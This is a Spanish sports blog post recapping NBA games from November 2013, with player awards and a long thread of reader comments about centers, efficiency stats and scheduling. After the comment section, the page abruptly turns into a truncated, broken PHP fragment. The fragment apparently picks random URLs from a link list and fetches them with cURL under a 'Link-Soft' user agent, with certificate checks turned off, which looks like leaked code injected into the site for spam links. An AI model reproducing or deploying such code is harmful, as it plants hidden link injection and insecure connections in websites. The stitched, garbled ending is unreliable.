La Crónica: Rebelión de modestos

20 de November de 2013 por TheDeerHunter

Jugaban Heat, Wolves, Rockets o Knicks y los protagonistas no fueron Love, James, Howard o Anthony, sinó otros con perfil mucho más discreto.

Cumplieron Heat y Rockets en sus compromisos relativamente asequibles como locales. Los Heat recibían a los Hawks sin Wade y con un LeBron sorprendentemente mundano. Atlanta aprovechaba el panorama dominando la primera parte pero en la reanudación poco pudieron hacer ante el ímpetu de Bosh, Allen, Chalmers y Norris Cole, quienes despejaron las dudas en un visto y no visto (88-104). Más sencilla aún fue la victoria de Rockets ante Celtics. Apagón de plomos de los verdes que a los 5 minutos ya perdían 1 a 18. Acabaron el partido por debajo de un 33% en el tiro. Por el contrario, muy acertados los locales dando además una sólida imagen colectiva (85-109). Por encima de todos destacaba Terrence Jones en el partido de su vida hasta la fecha. Así alcanzan las 8 victorias, coqueteando con la parte alta del cuadro en el oeste.

Peor suerte corrieron los Wolves en su visita a la capital. Parecía una victoria clara para ellos gracias a una renta acumulada de 16 puntos  a pesar de las discretas actuaciones de Martin y Ricky. Nene logró mantener a su equipo en la pomada en los peores momentos para que después sus compañeros aprovecharan el apagón de los visitantes. Excelente dirección de Wall y Beal estuvo particularmente incisivo, pero los hombres claves de Washington terminaron siendo un demoledor Jan Vesely y un Martell Webster que definió en el filo de la navaja (100-104). 

Ya no es sorpresa una derrota de los Knicks, a pesar de que los Pistons no lograban imponerse a los de la “Gran Manzana” desde el 2011 (86-92). Lo es un poco más cuando Drummond y Monroe no terminan arrasando el frágil juego interior neoyorquino. El que Stat cuaje un puñado de buenos minutos y al mismo tiempo Rodney Stuckey lidere a los suyos en la segunda parte para romper el choque ya entra en el terreno de lo paranormal.

Finalmente, los Suns echaron tanto de menos como cabría esperar a Bledsoe. Gracias a la gran aportación de Gerald Green, Archie Godwin y Channing Frye lograban contener como podían una gran versión de Kings, con Cousins dominando como él sabe hacerlo a veces y el resto sumando de forma notable. Con empate a 104 y 30 segundos para el final tenían posesión. Alguien debería explicar que hacía Ish Smith tras 15 minutos de despropósitos dirigiendo el ataque en ese momento. Isiah Thomas aprovechó el regalo robando el balón y anotando los dos tiros libres que a la postre certificaron la victoria a pesar de que los Suns tuvieron hasta 3 oportunidades para empatar (104-107). Los de Arizona se caen de la zona de playoffs, quizá definitivamente.

PREMIOS

MVP: El Demarcus Cousins que nos gusta ver apareció para que los Kings se impusieran a los Suns. El pívot acabó con 27 puntos, 12 rebotes, 3 asistencias, 4 robos y 2 tapones. John Wall metió la directa en la 2ª parte y acabó el partido con 14 puntos, 16 asistencias y 5 rebotes. Los Wolves no pudieron seguir su ritmo. Por su parte, Terrence Jones fue el mejor de los Rockets con 24 puntos, 9 rebotes y 2 tapones.

Rookie: Muy buen día para Archie Goodwin. El jugador de los Suns disfrutó de 19 minutos en los que anotó 16 puntos. Ben McLemore anotó 19 puntos y cogió 5 rebotes.

Sorpresa: Mike Scott disfrutó de minutos ante los Heat y los aprovechó con 15 puntos y 10 rebotes. Rodney Stuckey fue el mejor de los Pistons con 21 puntos y 5 asistencias. Gerald Green anotó 23 puntos, repartió 3 asistencias y puso un par de tapones en la derrota de los Suns y su compañero Channing Frye anotó 17 puntos con un 3 de 6 en triples.

Decepción: Los Hawks solo plantaron cara a los Heat durante la primera parte en buena parte por culpa de los malos partidos de Jeff Teague (9 puntos, con un 4 de 13 y 3 pérdidas) y Al Horford (12 puntos y 7 pérdidas). Kevin Martin no tuvo su mejor día de cara al aro y se quedó en 11 puntos con un 4 de 17 en tiros de campo.

Esfuerzo en vano: Kevin Love mantuvo su línea habitual (25-11-4) pero los Wolves se dejaron remontar por los Wizards.

TOP-10

Imágenes | AP Photos / Getty Images

Comenta

46 comentarios a esta entrada

  1. Mamba_Blanca dice:
    #1

    Lo de Drummond y los tiros libres comienza a ser de laboratorio, lleva un 3 de 17 en lo que va de año, va a romper el record de menos % como siga asi.

    Cousins, es una autentica debilidad personal, si se centrase y demostrase mas amenudo todo su potencial, creo que Howard podia irse olvidando de lo de ser el mejor pivot de la liga.

      Citar

  2. Simon dice:
    #2

    Mamba_Blanca:

    Cousins, es una autentica debilidad personal, si se centrase y demostrase mas amenudo todo su potencial, creo que Howard podia irse olvidando de lo de ser el mejor pivot de la liga.

    Ahh pero que lo seguimos considerando el mejor pivot de la liga todavia?? Yo creia que eso ya estaba superado.

      Citar

  3. txusma dice:
    #3

    Simon: Ahh pero que lo seguimos considerando el mejor pivot de la liga todavia?? Yo creia que eso ya estaba superado.

    Y quien es el mejor pívot puro de la liga ahora mismo? Mal que pese tiene pinta de seguir siendo Howard.

      Citar

  4. Mamba_blanca dice:
    #4

    Es cierto que desde sus años de Orlando ha bajado prestaciones y que el año en Lakers es un esperpento. Como LakerFan no lo trago, pero ahora mismo hay pocos pivots que generen el impacto de Howard.

    Tampoco es que le queden muchos años porque vive de su fisico y a diferencia de O’neill, él ni es alto ni una mole de 150kg

      Citar

  5. Heineken dice:
    #5

    Solo 19 minutos de juego Ricky para un día que estaba anotando xD

      Citar

  6. HisRoyalAirness dice:
    #6

    Por calidad me parecen bastante mejores Brook López o Marc. Por prestaciones en general tampoco me olvido de Hibbert.
    Lo de que es el mejor tampoco lo pensaba con Bynum sano. No domina y no sabe postear

      Citar

  7. rumbero dice:
    #7

    Heineken:
    Solo 19 minutos de juego Ricky para un día que estaba anotando xD

    Problemas de faltas y un mal tercer cuarto de los Wolves que le ha costado no jugar el último. Mal sabor de boca por la pájara de la segunda mitad y el calendario que les viene. Y Ricky no ha estado fino y se que por aquí el amigo Barea tiene amigos, pero a mi me pone de los nervios el puertorriqueño y su manera de entender el juego. Son otra cosa los Wolves con él en pista y o tiene una de sus noches donde se cree Jordan y mete 30 puntos o no les suele ir bien

      Citar

  8. couxela dice:
    #8

    HisRoyalAirness:
    Por calidad me parecen bastante mejores Brook López o Marc. Por prestaciones en general tampoco me olvido de Hibbert.
    Lo de que es el mejor tampoco lo pensaba con Bynum sano. No domina y no sabe postear

    Y sobre todo, para finales apretados me quedo a ojos cerrados con cualquiera de los tres antes que con Howard…

      Citar

  9. txusma dice:
    #9

    HisRoyalAirness:
    Por calidad me parecen bastante mejores Brook López o Marc. Por prestaciones en general tampoco me olvido de Hibbert.
    Lo de que es el mejor tampoco lo pensaba con Bynum sano. No domina y no sabe postear

    Pero ahí, ahí deben estar los 4. Pensándolo fríamente y a pesar de que Esteban me tache de chauvinista (:D) ahora mismo Marc Gasol podría ser el mejor pívot por su gran impacto a ambos lados de la pista.

      Citar

  10. Denise dice:
    #10

    A dia de hoy me quedo con Hibbert, aunque no tengo ninguna duda de que el mejor pivot de los proximos 5 años va a ser Andre Drummond.
    En cuanto a calidad y recursos tecnicos, el mejor es Brook Lopez. Y Marc es bueno, pero es un jugador que me deja frio, no me emociona verle jugar.

      Citar

  11. Luis H. dice:
    #11

    Será André Drummond si mejora los tiros libres. No sé si consideráis a Anthony Davis como tal, pero cuidado porque hay mucha calidad ahí. El mejor por aporte y talento, sin duda, es Cousins, pero necesita regularidad e involucrar al resto de sus compañeros.
    Lo de Howard no me lo explico. Si veis sus últimos partidos en Orlando o las finales de conferencia vs Lebron y Cleveland, hay muchos y muy buenos movimientos al poste. Regresión

      Citar

  12. Melo15 dice:
    #12

    En cuanto a talento puro nadie le llega a los tobillos a Cousins, pero nadie.
    Esta temporada esta muy irregular, pero esque cuando juega bien esta imparable.
    Es tremendo en todos los aspectos del juego, si tuviera mejor equipo estariamos hablando del mejor pivot de la liga.

      Citar

  13. txusma dice:
    #13

    Melo15:
    En cuanto a talento puro nadie le llega a los tobillos a Cousins, pero nadie.
    Esta temporada esta muy irregular, pero esque cuando juega bien esta imparable.
    Es tremendo en todos los aspectos del juego, si tuviera mejor equipo estariamos hablando del mejor pivot de la liga.

    Habrás querido decir “si tuviera mejor CABEZA estariamos hablando del mejor pivot de la liga.”, no?

      Citar

  14. Denise dice:
    #14

    ¿entendeis como buscar estadisticas de forma avanzada en la pagina de la NBA? A lo mejor soy yo el torpe, pero antes era facilisimo hacer cualquier tipo de busqueda, y ahora han cambiado el formato y no consigo encontrar un puto dato en condiciones.
    Al hilo de este debate, quería encontrar quien es actualmente el C con mas eficiencia, pero vaya mierda como han puesto ahora las stats.

      Citar

  15. HisRoyalAirness dice:
    #15

    Cousins es un 4 por mucho que me digáis. Y no apuesto por él en una serie a 7 partidos por delante de Marc o Hibbert ni empapado en crack. Es muy “pequeño”.
    A mí Marc tampoco me emociona demasiado pero es posiblemente el pivot más inteligente y menos egoista de la liga (a veces debería serlo más). Tampoco Duncan ha emocionado a nadie excesivamente en su carrera como podía emocionar Garnett y toda su parafernalia. Pero el que tuvo que cambiarse de conferencia para rascar un anillo fue KG. Y no, no estoy comparando a Gasol y a Tim, no se me pasa por la cabeza, sólo digo que a veces ser el mejor en algo no significa ser el más vistoso.

      Citar

  16. Esteban dice:
    #16

    para hablar de cousins, esperemos a que juegue en un equipo decente y después de ahí vamos a saber si es un hace números en equipos pésimos o puede ser una referencia en un buen equipo

    piensen que Lopez era considerado un hace números antes de la llega de deron y el traslado a Brooklyn

    Hibbert parecía un blandito que no servia para nada antes de la llegada de Vogel

    No recuerdo bien lo de Marc, pero antes de Zach y de tener un equipo aspirante y luego clasificado a PO no era considerado de los mejores seguramente

    veamos el contexto, hoy Cosin juega en el peor equipo de la liga, de hecho los Kings son el peor equipo de los últimos 4 años, sin presente ni futuro (con permiso de los Bobcats), siempre han sido igual de malos y no le han dado la oportunidad de Cousins de demostrar si esta para algo mas

    y que los Kings sean malos, no es culpa de Cousins, piensen como han arruinado a Evans y los Pick 7 gastado en Fradette y el 5 gastado en Thomas Robinson; en una organización asi, imposible destacarse

      Citar

  17. Esteban dice:
    #17

    HisRoyalAirness:
    Cousins es un 4 por mucho que me digáis. Y no apuesto por él en una serie a 7 partidos por delante de Marc o Hibbert ni empapado en crack. Es muy “pequeño”.

    no me parece que sea tan pequeño, si bien es cierto que por agilidad , velocidad y movimientos parece un 4, tiene la altura para ser un centro

    comparto en que no tiene ni los kilos, ni las ganas ni la volutad para poder defender a un buen pivote rival, pero tampoco es que la liga esta muy sobrada de buenos pivotes ofensivos que digamos, como para hacer sufrir a Cousins al poste

      Citar

  18. Jose Luis dice:
    #18

    Denise:
    ¿entendeis como buscar estadisticas de forma avanzada en la pagina de la NBA? A lo mejor soy yo el torpe, pero antes era facilisimo hacer cualquier tipo de busqueda, y ahora han cambiado el formato y no consigo encontrar un puto dato en condiciones.
    Al hilo de este debate, quería encontrar quien es actualmente el C con mas eficiencia, pero vaya mierda como han puesto ahora las stats.

    No sé, pero lo que yo he encontrado como eficiencia es “el número de acciones en las que se involucra el jugador en un partido”.

    Supongo que dependiendo de si son positivas o negativas las acciones ¿sumará o restará? ni puta idea.

    LeBron 20.5%
    Love 20%
    George 19.1%
    Paul 18.1%
    Durant 17.7%

    Me sale Anthony Davis con un 17.3% y Brook Lopez con un 16.7% (por encima de estos, Jordan Hill y Cole Aldrich)

      Citar

  19. Esteban dice:
    #19

    otro tema, dentro de la pobreza general de la camada de rookies, si McLemore se mantiene como titular y logra tener prestaciones al menos la mitad de buenas que la de anoche, lo veo como candidato al ROY

    que me disculpe MCW, pero la espuma desaparece, no solo comienza a tener problemas físicos, sino que sus últimos rendimientos han estado lejisimos de su arranque, y si sus números no han bajado aun mas (ya son de por si muy terrenales) es por que se ha dedicado a maquillar sus actuaciones

      Citar

  20. HisRoyalAirness dice:
    #20

    Para mí defensivamente está entre Marc y Hibbert (y puede que Noah), por movimientos en el poste entre Marc y López, por IQ y control del juego sin duda Marc, y evidentemente por físico Hibbert y Howard. He de decir que a veces Gasol me pone un poco enfermo con sus números reboteadores pero su juego es así.

    Para los que no lo hayan visto hay un video de la semana pasada de Inside the NBA en el que Barkley y Shaq explican cómo debe jugarse al poste y por qué Howard no sabe

      Citar

  21. Esteban dice:
    #21

    Jose Luis: No sé, pero lo que yo he encontrado como eficiencia es “el número de acciones en las que se involucra el jugador en un partido”.

    Supongo que dependiendo de si son positivas o negativas las acciones ¿sumará o restará? ni puta idea.

    LeBron 20.5%
    Love 20%
    George 19.1%
    Paul 18.1%
    Durant 17.7%

    Me sale Anthony Davis con un 17.3% y Brook Lopez con un 16.7% (por encima de estos, Jordan Hill y Cole Aldrich)

    como puedes imaginarte, esa estadística tiene algún sentido cuando el analizado juega una cantidad de minutos considerables

      Citar

  22. Esteban dice:
    #22

    HisRoyalAirness:
    Para los que no lo hayan visto hay un video de la semana pasada de Inside the NBA en el que Barkley y Shaq explican cómo debe jugarse al poste y por qué Howard no sabe

    una pena que este ingles, porque estos dos si que saben jugar al poste

      Citar

  23. HisRoyalAirness dice:
    #23

    Esteban: no me parece que sea tan pequeño, si bien es cierto que por agilidad , velocidad y movimientos parece un 4, tiene la altura para ser un centro

    comparto en que no tiene ni los kilos, ni las ganas ni la volutad para poder defender a un buen pivote rival, pero tampoco es que la liga esta muy sobrada de buenos pivotes ofensivos que digamos, como para hacer sufrir a Cousins al poste

    La altura real creo que es 6’10 y Marc y Hibbert están por encima de los 7 pies. Kilos tiene de sobra, al menos eso pone en la web, aunque a mí no me lo parece

      Citar

  24. Denise dice:
    #24

    Jose Luis: No sé, pero lo que yo he encontrado como eficiencia es “el número de acciones en las que se involucra el jugador en un partido”.

    Supongo que dependiendo de si son positivas o negativas las acciones ¿sumará o restará? ni puta idea.

    LeBron 20.5%
    Love 20%
    George 19.1%
    Paul 18.1%
    Durant 17.7%

    Me sale Anthony Davis con un 17.3% y Brook Lopez con un 16.7% (por encima de estos, Jordan Hill y Cole Aldrich)

    No, como Efficiency me refiero a lo que en europa se llama “Valoración”. La suma de todas las cosas positivas menos las negativas. Esos no pueden ser los datos correctos de Efficiency-Valoración, Lebron no puede tener 20,5 ni de coña, debe superar el 30 con la gorra

      Citar

  25. Denise dice:
    #25

    Ya lo he encontrado en Hoopsstats, aunque me gustaría confirmarlo en NBA
    Lebron tiene ahora mismo un 27,5 puntos de Efficiency siendo el quinto jugador de la liga, el primero es Kevin Love con 32,1 y el segundo Anthony Davis 28,7
    Wow, me sorprende que entre los Centers, el primero es Nikola Vucevic con 23,6. Hibbert está el 11º en esta lista, en la cual si no recuerdo mal, la regla es

    (Puntos+Rebotes+Asistencias+Tapones+Robos) – (Nº de tiros fallados+Tapones Recibidos+Balones Perdidos)

    1 N. Vucevic 23.6
    2 A. Drummond 22.5
    3 B. Lopez 22.2
    4 D. Howard 22.2
    5 D. Cousins 22.1
    6 S. Hawes 22.0
    7 D. Jordan 21.8
    8 A. Horford 21.8
    9 M. Gasol 21.0
    10 D. Favors 18.8
    Full Centers List

      Citar

  26. Esteban dice:
    #26

    como ves, el tema estadisticas deja mal parado a marc gasol, que hace de todo menos estadisticas, y deja muy bien parado a Vucevic que hace muchas estadistidas pero no gana nunca un partido

      Citar

  27. Ruxixón dice:
    #27

    JIba a comentar el rendimiento de un Jeff Green que ha cosechado otro partido donde sale cruz pero es que me ha llamado la atención otra cosa,¿¿¿cómo puede tirarse Bradley 22 tiros???

    He visto el partido de los Wolves y me ha llamado la atención el hecho de que Ricky apenas ha jugado en la segunda mitad,media parte del tercer cuarto y luego missing hasta los últimos 3 segundos.Tuvo problemas de faltas (3) pero no hasta el punto de no comparecer en el último periodo.Sorprendente.A su vez excelente la cara mostrada por Wall,me ha sorprendido gratamente el hecho de que me lo esperaba más chupón.Y no es cosa de un partido pues está promediando los mejores números en ese apartado de su carrera.Aún así ha tirado 17 veces con malos porcentajes,está claro que tiene que mejorar ese tiro a media distancia.Muy mal los Wolves en la segunda parte.

    También está el PER de Hollinger para estas cosas que comentais,os dejo el enlace para quien sea partidario de su fórmula: http://insider.espn.go.com/nba/hollinger/statistics/_/position/c

      Citar

  28. HisRoyalAirness dice:
    #28

    Sí, me dejan un poco frío esos números, creo que no reflejan para nada el impacto en el juego, sobre todo en el caso de Hibbert.

    Por cierto, no sé si alguien controla el tema de los calendarios o le interesa este tema pero a raíz de que los Wolves tienen un back to back precisamente contra Clippers estaba mirando el calendario de los equipos, a mi parecer, mimaditos de la liga. El de Miami del próximo mes es indignantemente asequible.

    Y, por favor, que prohiban ya la distinción entre conferencias, que vayan a playoffs los 16 mejores y punto. El cuarto del Este, a día de hoy, sería doceavo en el Oeste. Penoso

      Citar

  29. HisRoyalAirness dice:
    #29

    Ruxixón:
    JIba a comentar el rendimiento de un Jeff Green que ha cosechado otro partido donde sale cruz pero es que me ha llamado la atención otra cosa,¿¿¿cómo puede tirarse Bradley 22 tiros???

    He visto el partido de los Wolves y me ha llamado la atención el hecho de que Ricky apenas ha jugado en la segunda mitad,media parte del tercer cuarto y luego missing hasta los últimos 3 segundos.Tuvo problemas de faltas (3) pero no hasta el punto de no comparecer en el último periodo.Sorprendente.A su vez excelente la cara mostrada por Wall,me ha sorprendido gratamente el hecho de que me lo esperaba más chupón.Y no es cosa de un partido pues está promediando los mejores números en ese apartado de su carrera.Aún así ha tirado 17 veces con malos porcentajes,está claro que tiene que mejorar ese tiro a media distancia.Muy mal los Wolves en la segunda parte.

    También está el PER de Hollinger para estas cosas que comentais,os dejo el enlace para quien sea partidario de su fórmula: http://insider.espn.go.com/nba/hollinger/statistics/_/position/c

    Creo que puede atender precisamente a que hoy juegan contra los Clippers, lo de Ricky

      Citar

  30. Denise dice:
    #30

    HisRoyalAirness:

    Por cierto, no sé si alguien controla el tema de los calendarios o le interesa este tema pero a raíz de que los Wolves tienen un back to back precisamente contra Clippers estaba mirando el calendario de los equipos, a mi parecer, mimaditos de la liga. El de Miami del próximo mes es indignantemente asequible.

    Yo las conspiraciones judeomasonicas de mimados y tratos a favor no estoy de acuerdo. Al fin y al cabo todos se enfrentan contra todos, da igual ahora o dentro de dos meses.
    No voy a analizar los calendarios, pero desde que tengo uso de razón, los equipos que juegan en los extremos del pais (como Heat ó Clippers) siempre tienen calendarios mas comodos que uno que viva en el centro del pais, porque a los de los extremos, para no matarlos a viajes larguisimos, normalmente hacen muchas giras, y varias veces al año estan jugando como 5-6 partidos seguidos en casa (que son como 15 dias tranquilito en tu ciudad dormiendo en casa) y ya despues se tiran 7-8 partidos fuera. Los que juegan en el centro tipo Atlanta ó Chicago tienen mas putadas en su calendario porque sus viajes son mas cortos pero estan siempre de un sitio a otro.

      Citar

  31. rumbero dice:
    #31

    HisRoyalAirness: Creo que puede atender precisamente a que hoy juegan contra los Clippers, lo de Ricky

    No se hasta que punto la verdad. A mi me pareció más un castigo de Adelman por el mal tercer cuarto y que como ni Martin ni Brewer tenían el día en el tiro se la quiso jugar con Barea a ver si salía cara. Y no.

      Citar

  32. Denise dice:
    #32

    HisRoyalAirness:

    Y, por favor, que prohiban ya la distinción entre conferencias, que vayan a playoffs los 16 mejores y punto. El cuarto del Este, a día de hoy, sería doceavo en el Oeste. Penoso

    Y de camino que supriman el All-Star por un torneo con el formato de la Copa, y que en vez de 82 partidos, la Regular conste de 58, te enfrentas 2 veces contra cada equipo una en tu casa y otro fuera y punto. Economicamente será un pelotazo televisivo jugar a 82 partidos, pero personalmente me aburre un poco la RS y hay tantos partidos que si estas muy ocupado en tu vida personal y no tienes muchos ratos libres, no te da tiempo ni a asimilar como va la clasificacion, las rachas de cada equipo, como estan jugando, etc..
    A ver si Silver nos lee y nos hace caso…xD

      Citar

  33. HisRoyalAirness dice:
    #33

    Denise: Yo las conspiraciones judeomasonicas de mimados y tratos a favor no estoy de acuerdo. Al fin y al cabo todos se enfrentan contra todos, da igual ahora o dentro de dos meses.
    No voy aanalizar los calendarios, pero desde que tengo uso de razón, los equipos que juegan en los extremos del pais (como Heat ó Clippers) siempre tienen calendarios mas comodos que uno que viva en el centro del pais, porque a los de los extremos, para no matarlos a viajes larguisimos, normalmente hacen muchas giras, y varias veces al año estan jugando como 5-6 partidos seguidos en casa (que son como 15 dias tranquilito en tu ciudad dormiendo en casa) y ya despues se tiran 7-8 partidos fuera.Los que juegan en el centro tipo Atlanta ó Chicago tienen mas putadas en su calendario porque sus viajes son mas cortos pero estan siempre de un sitio a otro.

    No hablo de conspiraciones pero hay equipos que dan mucha pasta. Yo me fijé por primera vez el año pasado cuando multaron a Pop y sí que era verdad que era sangrante la paliza que algunos equipos se llevaban en comparacion con otros, y no hablo de viajes sino de partidos

      Citar

  34. HisRoyalAirness dice:
    #34

    rumbero: No se hasta que punto la verdad. A mi me pareció más un castigo de Adelman por el mal tercer cuarto y que como ni Martin ni Brewer tenían el día en el tiro se la quiso jugar con Barea a ver si salía cara. Y no.

    Creo que Adelman confía mucho en Ricky, incluso cuando está mal en ataque, porque le da al equipo un punto de agresividad defensiva muy necesario. De hecho el juego de Minny, al margen de que es evidente que Love es el amo y jugador franquicia, se basa mucho en sus características: cubrir líneas de pase, anticipación y primer pase rápido. O sea quiero decir que Rubio es perfecto para el juego de Adelman y viceversa. El tema es que yo creo que cuando Ricky se duerme, precisamente por esa complicidad que se traen (se ve mucho en los tiempos muertos) lo castiga mucho más para que eapabile el partido siguiente.
    Y me encanta lo que beneficia a los Wolves que no pueda tocarse el balón después de canasta, creo que es el el equipo que más ha anotado en pase directo desde saque de fondo rápido

      Citar

  35. Denise dice:
    #35

    HisRoyalAirness: No hablo de conspiraciones pero hay equipos que dan mucha pasta. Yo me fijé por primera vez el año pasado cuando multaron a Pop y sí que era verdad que era sangrante la paliza que algunos equipos se llevaban en comparacion con otros, y no hablo de viajes sino de partidos

    Pues si no hablas de viajes sino de partidos, no se a que te refieres, la verdad.
    Los Clippers por ejemplo no han tenido un inicio nada facil. En los primeros 20 días han jugado 11 partidos con los siguientes rivales: Lakers, Warriors, Kings, Rockets (2 veces), Magic, Miami, Oklahoma, Minnessota, Nets y Memphis.
    De estos 10 rivales, solo Orlando y Sacramento son “faciles” (y con los Magic perdieron), todos los demas son en teoria de la zona noble-alta mas el derby con Lakers que siempre esta cargado de voltajes (y tambien perdieron). Si esto es un inicio facil ….

      Citar

  36. HisRoyalAirness dice:
    #36

    Denise: Pues si no hablas de viajes sino de partidos, no se a que te refieres, la verdad.
    Los Clippers por ejemplo no han tenido un inicio nada facil. En los primeros 20 días han jugado 11 partidos con los siguientes rivales: Lakers, Warriors, Kings, Rockets (2 veces), Magic, Miami, Oklahoma, Minnessota, Nets y Memphis.
    De estos 10 rivales, solo Orlando y Sacramento son “faciles” (y con los Magic perdieron), todos los demas son en teoria de la zona noble-alta mas el derby con Lakers que siempre esta cargado de voltajes (y tambien perdieron). Si esto es un inicio facil ….

    No he hablado de los Clippers me parece. Miré su calendario y me pareció bastante duro.

    Con respecto a lo que dices de que todos juegan contra todos y es lo mismo no estoy para nada de acuerdo. El orden de los rivales influye muchísimo en el desgaste y contra quién sean los back to back más aún.
    Supongo que estarás de acuerdo en que si yo juego una semana contra OKC, Clippers, Pacers, Bulls y Spurs no afronto la siguiente fisicamente como si jugase contra Bobcats, Lakers, Utah, Atlanta y Boston, no? Sólo me refiero a eso, nada más.
    Popovich el año pasado estaba de gira (y Miami y San Antonio no están tan lejos) y le tocaba terminarla con un back to back siendo el segundo partido contra Miami en el A.A. Y sentó a Manu, Parker y Duncan para protestar

      Citar

  37. Denise dice:
    #37

    HisRoyalAirness:

    Por cierto, no sé si alguien controla el tema de los calendarios o le interesa este tema pero a raíz de que los Wolves tienen un back to back precisamente contra Clippers estaba mirando el calendario de los equipos, a mi parecer, mimaditos de la liga. El de Miami del próximo mes es indignantemente asequible.

    los Heat en diciembre juegan con Detroit (2 veces), Indiana (2 veces), Chicago, Minnesota, Portland y Cleveland (entre otros mas facilones). Tampoco lo veo tan asequible. Pero como tu mismo has dicho antes, el cuarto del este sería el 12º del Oeste, es decir, los equipos del Este son una mierda en comparacion a los del Oeste, y por tanto en ese aspecto Miami siempre va a tener un calendario mas asequible que por ejemplo los Spurs, porque con todos los gallos del Oeste solo tiene que enfrentarse 2 veces, por las 3-4 veces de los texanos.

      Citar

  38. HisRoyalAirness dice:
    #38

    Denise: los Heat en diciembre juegan con Detroit (2 veces), Indiana (2 veces), Chicago, Minnesota, Portland y Cleveland (entre otros mas facilones). Tampoco lo veo tan asequible. Pero como tu mismo has dicho antes, el cuarto del este sería el 12º del Oeste, es decir, los equipos del Este son una mierda en comparacion a los del Oeste, y por tanto en ese aspecto Miami siempre va a tener un calendario mas asequible que por ejemplo los Spurs, porque con todos los gallos del Oeste solo tiene que enfrentarse 2 veces, por las 3-4 veces de los texanos.

    Sí bueno, es que a mí lo de las conferencias me pone malo

      Citar

  39. Esteban dice:
    #39

    esperemos un poco que la conferencia este esta carburando recien, y habra 5 clasificados de nivel al menos, los otros tres puestos obviamente estan muy baratos

      Citar

  40. The wolf dice:
    #40

    Hibbert acaba de meter un triple a falta de 1 segundo tras un saque de banda que ha sido para verlo… tremendo

      Citar

  41. Denise dice:
    #41

    Otra exhibicion de momento de Afflalo, 20 puntos al descanso con 6/7 en triples, pero tiene pinta de que los Heat van a arrollar a los Magic. Afflalo está jugando solo, Nelson es el unico que le está ayudando, el resto fatal. A Vucevic le estan comiendo el rebote y Oladipo fatal, vaya maquina de perder balones.

      Citar

  42. Denise dice:
    #42

    Burke está jugando y acaba de meter su primera canasta, una penetración con una suave bandeja con la derecha, Hayward lleva un 1 de 10 en tiros, que poco me gusta este jugador

      Citar

  43. Denise dice:
    #43

    Vaya baño de los Heat a los Magic, creo que es la peor derrota de los de Vaughn desde la marcha de Howard, quizas no por diferencia de puntos pero si por la imagen. Jugando en casa ante unos Heat sin Wade no se puede estar perdiendo por 30 puntos y que los Heat sin ningun pivot en condiciones te domine el rebote a su antojo.
    Solo Afflalo y Nelson han sudado la camiseta, el resto fatal. Oladipo en plan hacenúmeros total, en el último cuarto que es de total minutos de la basura llevará como 12 puntos a base de tiros libres y alguna que otra canasta, al final va a parecer que ha hecho un buen partido cuando no ha jugado a absolutamente nada.

      Citar

  44. Denise dice:
    #44

    Y lo de Beasley igual que Oladipo. A pesar de sus numeros, todo lo ha hecho en el ultimo cuarto en los minutos de la basura, durante el resto del partido no ha hecho nada

      Citar

  45. Denise dice:
    #45

    lo lo lo lo lo Kidd quedate, Kidd quedate, Kidd quedate, lo lo lo (8)
    Que gustazo ver los ultimos minutos del Charlotte – Brooklyn y ver la cara de desquiciados de Kidd, Garnett, o Deron. Nueva derrota de los Nets y otra vez no han salido humillados gracias a la gran aportación del banquillo. Deron es una estafa, Pierce y Garnett estan acabados y JoJo es bueno pero muy irregular.

    Carter-Williams empieza a tener un rendimiento mas humano, 10-6-6 pero con 2 de 10 en tiros y 6 perdidas de balon.

    Hayward a lo suyo, 1 de 13 por ahora

      Citar

  46. Denise dice:
    #46

    Ojo al partidaco que se está marcando Griffin ante Love. Mañana va a haber debate aqui jaja
    9 de 14 del pelirrojo por el 2 de 14 del lobo en estos momentos. Y para colmo, Dudley es el segundo maximo anotador de Clippers en estos momentos (9 puntos) jeje

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>